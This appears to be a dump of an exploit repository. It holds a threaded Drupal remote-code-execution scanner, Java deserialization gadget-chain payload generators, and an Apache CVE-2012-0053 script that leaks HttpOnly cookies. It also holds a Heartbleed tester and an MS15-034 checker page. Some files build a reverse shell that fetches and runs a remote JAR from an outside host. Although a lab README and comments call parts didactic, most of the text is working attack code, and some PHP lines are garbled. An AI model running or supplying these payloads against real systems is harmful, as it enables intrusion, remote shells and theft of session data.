"_drupal_ajax": "1", "mail[#post_render][]": "exec", "mail[#type]": "markup", "mail[#markup]": "echo 'hehe'"}) 54 | if r.status_code == 200: 55 | print "{}[!] {} is vulnerable{}".format(R,url,W) 56 | if output: 57 | self.write_to_file(url) 58 | else: 59 | print "[*] - Testing {}".format(url) 60 | except: 61 | "[*] An error occured" 62 | sys.exit(1) 63 | 64 | 65 | def run(self): 66 | while True: 67 | try: 68 | url = self.queue.get(timeout=0.2) 69 | except: 70 | continue 71 | 72 | self.check_url(url) 73 | 74 | self.queue.task_done() 75 | 76 | 77 | def main(): 78 | queue = Queue.Queue() 79 | 80 | if os.path.isfile(file) == False: 81 | print "[*] Your inputfile doesn't exist" 82 | sys.exit(1) 83 | 84 | global urls 85 | urls = open(file, 'r').read().splitlines() 86 | 87 | for i in range(threads): 88 | t = exploit(queue) 89 | t.setDaemon(True) 90 | t.start() 91 | 92 | for url in urls: 93 | queue.put(url) 94 | 95 | queue.join() 96 | 97 | 98 | 99 | if __name__ == '__main__': 100 | args = parse_args() 101 | file = args.file 102 | threads = args.threads 103 | output = args.output 104 | main() -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ExploitGadgetExample1.java: -------------------------------------------------------------------------------- 1 | import java.io.FileInputStream; 2 | import java.io.FileOutputStream; 3 | import java.io.IOException; 4 | import java.io.ObjectInputStream; 5 | import java.io.ObjectOutputStream; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationHandler; 8 | import java.lang.reflect.Proxy; 9 | import java.util.Map; 10 | 11 | /** 12 | * Exemplo didático de como usar Reflection e Dynamic Proxy para desviar 13 | * o fluxo de execução durante a desserialização. 14 | * Esse código gera um payload para explorar um sistema hipotético que contenha 15 | * as classes ForgottenClass e SomeInvocationHandler no classpatch. 16 | * 17 | * ----------------------------------------------------------------------- 18 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 19 | * https://www.h2hc.com.br/revista/ 20 | * ----------------------------------------------------------------------- 21 | * 22 | **** USAGE **** 23 | * 24 | * Compilando: 25 | * $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java 26 | * 27 | * Executando 28 | * $ rm /tmp/h2hc_2017 29 | * $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1 30 | * $ ls -all /tmp/h2hc_2017 31 | * 32 | * 33 | * @author @joaomatosf 34 | */ 35 | public class ExploitGadgetExample1{ 36 | @SuppressWarnings ( {"unchecked"} ) 37 | public static void main(String[] args) 38 | throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException, 39 | IOException, ClassNotFoundException { 40 | 41 | // Instancia um SomeInvocationHandler 42 | InvocationHandler handler = new SomeInvocationHandler(); 43 | Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler 44 | fieldHandler.setAccessible(true); // torna o campo "cmd" acessível 45 | fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd" 46 | 47 | // criar interface Map 48 | Class[] interfaceMap = new Class[] {java.util.Map.class}; 49 | // Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler 50 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler); 51 | 52 | // Intancia ForgottenClass (que sera' serializado) 53 | ForgottenClass gadget = new ForgottenClass(); 54 | Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass 55 | field.setAccessible(true); // torna o campo "map" acessível 56 | field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map" 57 | 58 | // Serializa objeto do ForgottenClass e salva no disco 59 | System.out.println("Serializing ForgottenClass"); 60 | FileOutputStream fos = new FileOutputStream("/tmp/object.ser"); 61 | ObjectOutputStream oos = new ObjectOutputStream(fos); 62 | oos.writeObject(gadget); 63 | oos.flush(); 64 | 65 | // Desserializa objeto a partir do arquivo, para simular o que devera 66 | // ocorrer quando o objeto for desserializado por uma aplicacao 67 | System.out.println("Deserializing ForgottenClass"); 68 | FileInputStream fis = new FileInputStream("/tmp/object.ser"); 69 | ObjectInputStream ois = new ObjectInputStream(fis); 70 | ois.readObject(); // <-- Inicia a desserializacao! 71 | } //end main 72 | } -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/reverseShellMultiplatformCommonsCollections.xml: -------------------------------------------------------------------------------- 1 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | java.net.URLClassLoader 29 | 30 | 31 | 32 | [Ljava.net.URL; 33 | 34 | 35 | 36 | http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar 37 | 38 | 39 | 40 | 41 | loadClass 42 | 43 | java.lang.String 44 | 45 | 46 | JexReverse 47 | 48 | 49 | 50 | 51 | java.lang.String 52 | int 53 | 54 | 55 | YOUR_BOX_IP 56 | PORT_LISTENING 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | foo 66 | 67 | 68 | -------------------------------------------------------------------------------- /CVE_EXP/CVE-2012-0053/CVE-2012-0053.js: -------------------------------------------------------------------------------- 1 | // Most browsers limit cookies to 4k characters, so we need multiple 2 | function setCookies (good) { 3 | // Construct string for cookie value 4 | var str = ""; 5 | for (var i=0; i< 819; i++) { 6 | str += "x"; 7 | } 8 | // Set cookies 9 | for (i = 0; i < 10; i++) { 10 | // Expire evil cookie 11 | if (good) { 12 | var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; 13 | } 14 | // Set evil cookie 15 | else { 16 | var cookie = "xss"+i+"="+str+";path=/"; 17 | } 18 | document.cookie = cookie; 19 | } 20 | } 21 | 22 | function makeRequest() { 23 | setCookies(); 24 | 25 | function parseCookies () { 26 | var cookie_dict = {}; 27 | // Only react on 400 status 28 | if (xhr.readyState === 4 && xhr.status === 400) { 29 | // Replace newlines and match
 content
 30 |             var content = xhr.responseText.replace(/\r|\n/g,'').match(/
(.+)<\/pre>/);
 31 |             if (content.length) {
 32 |                 // Remove Cookie: prefix
 33 |                 content = content[1].replace("Cookie: ", "");
 34 |                 var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
 35 |                 // Add cookies to object
 36 |                 for (var i=0; i content
 82 |             var content = xhr.responseText.replace(/\r|\n/g,'').match(/
(.+)<\/pre>/);
 83 |             if (content.length) {
 84 |                 // Remove Cookie: prefix
 85 |                 content = content[1].replace("Cookie: ", "");
 86 |                 var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
 87 |                 // Add cookies to object
 88 |                 for (var i=0; i 0:
 57 |         rtime = endtime - time.time() 
 58 |         if rtime < 0:
 59 |             return None
 60 |         r, w, e = select.select([s], [], [], 5)
 61 |         if s in r:
 62 |             data = s.recv(remain)
 63 |             # EOF?
 64 |             if not data:
 65 |                 return None
 66 |             rdata += data
 67 |             remain -= len(data)
 68 |     return rdata
 69 |         
 70 | 
 71 | def recvmsg(s):
 72 |     hdr = recvall(s, 5)
 73 |     if hdr is None:
 74 |         print 'Unexpected EOF receiving record header - server closed connection'
 75 |         return None, None, None
 76 |     typ, ver, ln = struct.unpack('>BHH', hdr)
 77 |     pay = recvall(s, ln, 10)
 78 |     if pay is None:
 79 |         print 'Unexpected EOF receiving record payload - server closed connection'
 80 |         return None, None, None
 81 |     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
 82 |     return typ, ver, pay
 83 | 
 84 | def hit_hb(s):
 85 |     s.send(hb)
 86 |     while True:
 87 |         typ, ver, pay = recvmsg(s)
 88 |         if typ is None:
 89 |             print 'No heartbeat response received, server likely not vulnerable'
 90 |             return False
 91 | 
 92 |         if typ == 24:
 93 |             print 'Received heartbeat response:'
 94 |             hexdump(pay)
 95 |             if len(pay) > 3:
 96 |                 print 'WARNING: server returned more data than it should - server is vulnerable!'
 97 |             else:
 98 |                 print 'Server processed malformed heartbeat, but did not return any extra data.'
 99 |             return True
100 | 
101 |         if typ == 21:
102 |             print 'Received alert:'
103 |             hexdump(pay)
104 |             print 'Server returned error, likely not vulnerable'
105 |             return False
106 | 
107 | def main():
108 |     opts, args = options.parse_args()
109 |     if len(args) < 1:
110 |         options.print_help()
111 |         return
112 | 
113 |     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
114 |     print 'Connecting...'
115 |     sys.stdout.flush()
116 |     s.connect((args[0], opts.port))
117 |     print 'Sending Client Hello...'
118 |     sys.stdout.flush()
119 |     s.send(hello)
120 |     print 'Waiting for Server Hello...'
121 |     sys.stdout.flush()
122 |     while True:
123 |         typ, ver, pay = recvmsg(s)
124 |         if typ == None:
125 |             print 'Server closed connection without sending Server Hello.'
126 |             return
127 |         # Look for server hello done message.
128 |         if typ == 22 and ord(pay[0]) == 0x0E:
129 |             break
130 | 
131 |     print 'Sending heartbeat request...'
132 |     sys.stdout.flush()
133 |     s.send(hb)
134 |     hit_hb(s)
135 | 
136 | if __name__ == '__main__':
137 |     main()


--------------------------------------------------------------------------------
/CVE_EXP/CVE-2015-1635/在线测试源码.php:
--------------------------------------------------------------------------------
  1 | 无法连接到 '; . $host . '; 测试漏洞。';;
 19 | case self::VULN       : return ';
'; . $host . '; 存在漏洞。
';; 20 | case self::VULN_NOT_MS: return ';
'; . $host . '; 可能存在漏洞,但它好像没使用IIS。
';; 21 | case self::PATCHED : return ';
'; . $host . '; 已修复。
';; 22 | case self::NOT_VULN : return ';
不能识别补丁状态 '; . $host . ';, 并没有使用IIS,可能不存在漏洞。
';; 23 | case self::NOT_VULN_MS: return ';
不能识别补丁状态 '; . $host . ';. 可能不存在漏洞。
';; 24 | case self::NOT_VULN_CF: return ';
'; . $host . '; 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。
';; 25 | } 26 | 27 | return ';好像坏了';; 28 | } 29 | } 30 | 31 | $host = false; 32 | $status = false; 33 | $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL ); 34 | 35 | if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null ) 36 | { 37 | $url = ';http://'; . $url; 38 | } 39 | 40 | $port = parse_url( $url, PHP_URL_PORT ); 41 | 42 | if( $port === null ) 43 | { 44 | $port = 80; 45 | } 46 | 47 | $url = parse_url( $url, PHP_URL_HOST ); 48 | 49 | if( $url !== null ) 50 | { 51 | $cachekey = ';ms15034_'; . $url . ';_'; . $port; 52 | $cachetime = 300; // 5 minutes 53 | 54 | $host = htmlspecialchars( $url, ENT_HTML5 ); 55 | 56 | if( $port !== 80 ) 57 | { 58 | $host .= ';:'; . $port; 59 | } 60 | 61 | $memcached = new Memcached( ); 62 | $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 ); 63 | 64 | $status = $memcached->get( $cachekey ); 65 | 66 | if( $status === false ) 67 | { 68 | $fp = @fsockopen( $url, $port, $errno, $errstr, 5 ); 69 | 70 | if( $fp === false ) 71 | { 72 | $status = VulnStatus::FAIL; 73 | } 74 | else 75 | { 76 | stream_set_timeout( $fp, 5 ); 77 | 78 | $header = "GET / HTTP/1.1\r\n"; 79 | $header .= "Host: stuff\r\n"; 80 | $header .= "Range: bytes=0-18446744073709551615\r\n"; 81 | $header .= "Connection: close\r\n\r\n"; 82 | 83 | fwrite( $fp, $header ); 84 | 85 | $response = fread( $fp, 1024 ); 86 | 87 | fclose( $fp ); 88 | 89 | if( strpos( $response, ';您的请求范围不符合'; ) !== false ) 90 | { 91 | $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN; 92 | } 93 | else if( strpos( $response, ';请求一个无效的header头部'; ) !== false ) 94 | { 95 | $cachetime = 3600; // 缓存时间 96 | $status = VulnStatus::PATCHED; 97 | } 98 | else if( strpos( $response, ';Microsoft'; ) === false ) 99 | { 100 | if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false ) 101 | { 102 | $status = VulnStatus::NOT_VULN_CF; 103 | } 104 | else 105 | { 106 | $status = VulnStatus::NOT_VULN; 107 | } 108 | } 109 | else 110 | { 111 | $status = VulnStatus::NOT_VULN_MS; 112 | } 113 | } 114 | 115 | unset( $fp, $header, $response ); 116 | 117 | $memcached->set( $cachekey, $status, $cachetime ); 118 | } 119 | 120 | $status = VulnStatus::AsString( $status, $host ); 121 | } 122 | ?> 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | MS15-034 测试 132 | 133 | 134 | 135 | 174 | 175 | 176 |
177 |
178 |

HTTP.sys 堆栈漏洞测试

179 |

输入一个URL或主机名来测试服务器的 MS15-034 / CVE-2015-1635.

180 |
181 |
182 | 183 | 184 | 185 |
186 |
187 |

在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。

188 |

要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。

189 |
190 | 191 |
192 |
193 | > 194 | 195 |
196 |
197 | 198 | 199 | 200 |
使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟
201 |
202 | 203 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/DnsWithCommonsCollections.java: -------------------------------------------------------------------------------- 1 | import org.apache.commons.collections.Transformer; 2 | import org.apache.commons.collections.functors.ChainedTransformer; 3 | import org.apache.commons.collections.functors.ConstantTransformer; 4 | import org.apache.commons.collections.functors.InvokerTransformer; 5 | import org.apache.commons.collections.map.LazyMap; 6 | 7 | import java.io.FileNotFoundException; 8 | import java.io.FileOutputStream; 9 | import java.io.IOException; 10 | import java.io.ObjectOutputStream; 11 | import java.lang.annotation.Retention; 12 | import java.lang.reflect.Constructor; 13 | import java.lang.reflect.InvocationHandler; 14 | import java.lang.reflect.InvocationTargetException; 15 | import java.lang.reflect.Proxy; 16 | import java.net.URL; 17 | import java.util.HashMap; 18 | import java.util.Map; 19 | 20 | /** 21 | * Gera payload com gadget chain para realizar um HTTP GET em um endereço 22 | * controlado pelo testador. Se for usado um domínio "hospedado" pelo testador, 23 | * pode-se validar se o payload foi executado ao verificar os logs do servico DNS. 24 | * Note que esse payload requer que a commons-collections vulnerável esteja 25 | * disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72 26 | * Há outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma 27 | * consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves). 28 | * 29 | * ----------------------------------------------------------------------- 30 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 31 | * https://www.h2hc.com.br/revista/ 32 | * ----------------------------------------------------------------------- 33 | * 34 | * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de 35 | * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser 36 | * 37 | **** USAGE **** 38 | * 39 | * Compilando: 40 | * $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java 41 | * 42 | * Executando 43 | * $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com 44 | * 45 | * @author @joaomatosf 46 | */ 47 | public class DnsWithCommonsCollections { 48 | @SuppressWarnings ( {"unchecked"} ) 49 | public static void main(String[] args) 50 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, 51 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { 52 | 53 | String url = args[0]; 54 | // Cria array de transformers que resulta na seguinte construção: 55 | // new URL(url).openConnection().getInputStream().read(); 56 | Transformer[] transformers = new Transformer[] { 57 | new ConstantTransformer(new URL(url)), 58 | new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}), 59 | new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}), 60 | new InvokerTransformer("read", new Class[] {}, new Object[] {}) 61 | }; 62 | 63 | // Cria o objeto ChainedTransformer com o array de Transformers: 64 | Transformer transformerChain = new ChainedTransformer(transformers); 65 | // Cria o map 66 | Map map = new HashMap(); 67 | // Decora o map com o LazyMap e a cadeia de transformações como factory 68 | Map lazyMap = LazyMap.decorate(map,transformerChain); 69 | 70 | // Usa reflexão para obter referencia da classe AnnotationInvocationHandler 71 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 72 | // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map 73 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 74 | // Torna o construtor acessível 75 | ctor.setAccessible(true); 76 | // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um 77 | // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo 78 | // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"! 79 | InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap); 80 | 81 | //criado a interface map 82 | Class[] interfaces = new Class[] {java.util.Map.class}; 83 | // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers) 84 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap); 85 | 86 | // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues 87 | // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o 88 | // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers) 89 | InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap); 90 | 91 | // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado, 92 | // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke(). 93 | // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap 94 | // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)! 95 | System.out.println("Saving serialized object in SleepExample.ser"); 96 | FileOutputStream fos = new FileOutputStream("SleepExample.ser"); 97 | ObjectOutputStream oos = new ObjectOutputStream(fos); 98 | oos.writeObject(handlerProxy); 99 | oos.flush(); 100 | 101 | } 102 | 103 | } -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/SleepExample.java: -------------------------------------------------------------------------------- 1 | import org.apache.commons.collections.Transformer; 2 | import org.apache.commons.collections.functors.ChainedTransformer; 3 | import org.apache.commons.collections.functors.ConstantTransformer; 4 | import org.apache.commons.collections.functors.InvokerTransformer; 5 | import org.apache.commons.collections.map.LazyMap; 6 | 7 | import java.io.*; 8 | import java.lang.*; 9 | import java.lang.annotation.Retention; 10 | import java.lang.reflect.Constructor; 11 | import java.lang.reflect.InvocationHandler; 12 | import java.lang.reflect.InvocationTargetException; 13 | import java.lang.reflect.Proxy; 14 | import java.util.*; 15 | /** 16 | * Gera payload com gadget chain para forçar um Sleep na aplicação. 17 | * Note que esse payload requer que a commons-collections vulnerável esteja 18 | * disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com 19 | * JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger 20 | * (eg. BadAttributeValueExpException ou HashMap + TiedMapEntry). 21 | * 22 | * ----------------------------------------------------------------------- 23 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 24 | * https://www.h2hc.com.br/revista/ 25 | * ----------------------------------------------------------------------- 26 | * 27 | * OBS: Esse código tem fins apenas didáticos. Algumas cadeias de 28 | * transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser 29 | * 30 | **** USAGE **** 31 | * 32 | * Compilando: 33 | * $ javac -cp .:commons-collections-3.2.1.jar SleepExample.java 34 | * 35 | * Executando 36 | * $ java -cp .:commons-collections-3.2.1.jar SleepExample 37 | * 38 | * 39 | * @author @joaomatosf 40 | */ 41 | public class SleepExample { 42 | @SuppressWarnings ( {"unchecked"} ) 43 | public static void main(String[] args) 44 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, 45 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException { 46 | 47 | // Cria array de Transformers que irá resultar na seguinte construção: 48 | //Thread.class.getMethod("sleep", new Class[]{Long.TYPE}).invoke(null, new Object[]{10000L}); 49 | Transformer[] transformers = new Transformer[] { 50 | new ConstantTransformer(Thread.class), // retorna class Thread.class 51 | // 1o. Objeto InvokerTransformer: getMethod("sleep", new Class[]{Long.TYPE}) 52 | new InvokerTransformer( 53 | "getMethod", // invoca método getMethod 54 | ( new Class[] {String.class, Class[].class } ), // tipos dos parâmetros: (String, Class[]) 55 | ( new Object[] {"sleep", new Class[]{Long.TYPE} } ) // parâmetros: (sleep, new Class[]{Long.TYPE}) 56 | ), 57 | // 2o. Objeto InvokerTransformer: invoke(null, new Object[]{10000L}) 58 | new InvokerTransformer( 59 | "invoke", // invoca método: invoke 60 | (new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[]) 61 | (new Object[] {null, new Object[] {10000L} }) // parâmetros: (null, new Object[] {10000L}) 62 | ) 63 | }; 64 | 65 | // Cria o objeto ChainedTransformer com o array de Transformers: 66 | Transformer transformerChain = new ChainedTransformer(transformers); 67 | // Cria o map 68 | Map map = new HashMap(); 69 | // Decora o map com o LazyMap e a cadeia de transformações como factory 70 | Map lazyMap = LazyMap.decorate(map,transformerChain); 71 | 72 | // Usa reflexão para obter referencia da classe AnnotationInvocationHandler 73 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 74 | // Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map 75 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 76 | // Torna o construtor acessível 77 | ctor.setAccessible(true); 78 | // Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um 79 | // type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo 80 | // memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"! 81 | InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap); 82 | 83 | //cria a interface map 84 | Class[] interfaces = new Class[] {java.util.Map.class}; 85 | // cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers) 86 | Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap); 87 | 88 | // cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues 89 | // esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o 90 | // método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers) 91 | InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap); 92 | 93 | // Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado, 94 | // o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke(). 95 | // No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap 96 | // com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)! 97 | System.out.println("Saving serialized object in SleepExample.ser"); 98 | FileOutputStream fos = new FileOutputStream("SleepExample.ser"); 99 | ObjectOutputStream oos = new ObjectOutputStream(fos); 100 | oos.writeObject(handlerProxy); 101 | oos.flush(); 102 | 103 | } 104 | 105 | } -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/ReverseShellCommonsCollectionsHashMap.java: -------------------------------------------------------------------------------- 1 | import org.apache.commons.collections.Transformer; 2 | import org.apache.commons.collections.functors.ChainedTransformer; 3 | import org.apache.commons.collections.functors.ConstantTransformer; 4 | import org.apache.commons.collections.functors.InstantiateTransformer; 5 | import org.apache.commons.collections.functors.InvokerTransformer; 6 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 7 | import org.apache.commons.collections.map.LazyMap; 8 | 9 | import java.io.*; 10 | import java.lang.reflect.*; 11 | import java.net.URL; 12 | import java.net.URLClassLoader; 13 | import java.util.HashMap; 14 | import java.util.HashSet; 15 | import java.util.Map; 16 | 17 | /** 18 | * Gera payload com gadget chain para carregar e executar uma classe remota 19 | * (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse, 20 | * do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar, 21 | * a fim de obter uma reverse shell independente de plataforma (Windows ou *nix). 22 | * Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir 23 | * o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get() 24 | * de um LazyMap decorado com a ChainedTransformers. 25 | * Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser. 26 | * 27 | * 28 | * ----------------------------------------------------------------------- 29 | * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: 30 | * https://www.h2hc.com.br/revista/ 31 | * ----------------------------------------------------------------------- 32 | * 33 | * OBS: Esse código tem fins apenas didáticos. 34 | * 35 | **** USAGE **** 36 | * 37 | * Compilando: 38 | * $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 39 | * 40 | * Executando 41 | * $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA 42 | * 43 | * @author @joaomatosf 44 | */ 45 | public class ReverseShellCommonsCollectionsHashMap { 46 | @SuppressWarnings ( {"unchecked"} ) 47 | public static void main(String[] args) 48 | throws ClassNotFoundException, NoSuchMethodException, InstantiationException, 49 | IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException { 50 | 51 | String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar"; 52 | String host = null; 53 | int port = 1331; 54 | 55 | // Verifica se o usuário forneceu o comando a ser executado 56 | if (args.length != 1 || args[0].split(":").length != 2 ) { 57 | System.out.println("Invalid params! \n" + 58 | "Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\""); 59 | System.exit(1); 60 | } 61 | host = args[0].split(":")[0]; 62 | port = Integer.parseInt(args[0].split(":")[1]); 63 | 64 | Transformer[] transformers = new Transformer[] { 65 | 66 | new ConstantTransformer(URLClassLoader.class), 67 | new InstantiateTransformer( 68 | new Class[]{ 69 | URL[].class 70 | }, 71 | new Object[]{ 72 | new URL[]{new URL(remoteJar)} 73 | }), 74 | new InvokerTransformer("loadClass", 75 | new Class[]{ 76 | String.class 77 | }, 78 | new Object[]{ 79 | "JexReverse" 80 | }), 81 | new InstantiateTransformer( 82 | new Class[]{ String.class, int.class }, 83 | new Object[]{ host, port } 84 | ) 85 | }; 86 | 87 | // Cria o objeto ChainedTransformer com o array de Transformers: 88 | Transformer transformerChain = new ChainedTransformer(transformers); 89 | // Cria o map 90 | Map map1 = new HashMap(); 91 | // Decora o map com o LazyMap e a cadeia de transformações como factory 92 | Map lazyMap = LazyMap.decorate(map1,transformerChain); 93 | 94 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 95 | 96 | HashSet map = new HashSet(1); 97 | map.add("foo"); 98 | Field f = null; 99 | try { 100 | f = HashSet.class.getDeclaredField("map"); 101 | } catch (NoSuchFieldException e) { 102 | f = HashSet.class.getDeclaredField("backingMap"); 103 | } 104 | 105 | f.setAccessible(true); 106 | HashMap innimpl = (HashMap) f.get(map); 107 | 108 | Field f2 = null; 109 | try { 110 | f2 = HashMap.class.getDeclaredField("table"); 111 | } catch (NoSuchFieldException e) { 112 | f2 = HashMap.class.getDeclaredField("elementData"); 113 | } 114 | 115 | f2.setAccessible(true); 116 | Object[] array = (Object[]) f2.get(innimpl); 117 | 118 | Object node = array[0]; 119 | if(node == null){ 120 | node = array[1]; 121 | } 122 | 123 | Field keyField = null; 124 | try{ 125 | keyField = node.getClass().getDeclaredField("key"); 126 | }catch(Exception e){ 127 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 128 | } 129 | 130 | keyField.setAccessible(true); 131 | keyField.set(node, entry); 132 | 133 | // Serializa o objeto 134 | System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser"); 135 | FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser"); 136 | ObjectOutputStream oos = new ObjectOutputStream(fos); 137 | oos.writeObject(map); 138 | oos.flush(); 139 | 140 | 141 | } 142 | 143 | } 144 | -------------------------------------------------------------------------------- /JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/JavaDeserH2HC/README.md: -------------------------------------------------------------------------------- 1 | # Lab for Java Deserialization Vulnerabilities 2 | 3 | This content is related to the paper written for the 12th edition of H2HC magazine. 4 | See full paper in: https://www.h2hc.com.br/revista/ 5 | 6 | Slides and video of the talk will be available soon. 7 | 8 | >Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM) 9 | 10 | >An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM) 11 | 12 | Content 13 | -- 14 | The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them. 15 | The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments. 16 | 17 | There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads. 18 | 19 | Slides 20 | -- 21 | 22 | [![Alt text](https://image.slidesharecdn.com/h2hc2017joaomatosfjavadeser-171025200215/95/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017-1-638.jpg?cb=1508963584)](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017) 23 | 24 | 25 | Examples (PoC's) 26 | 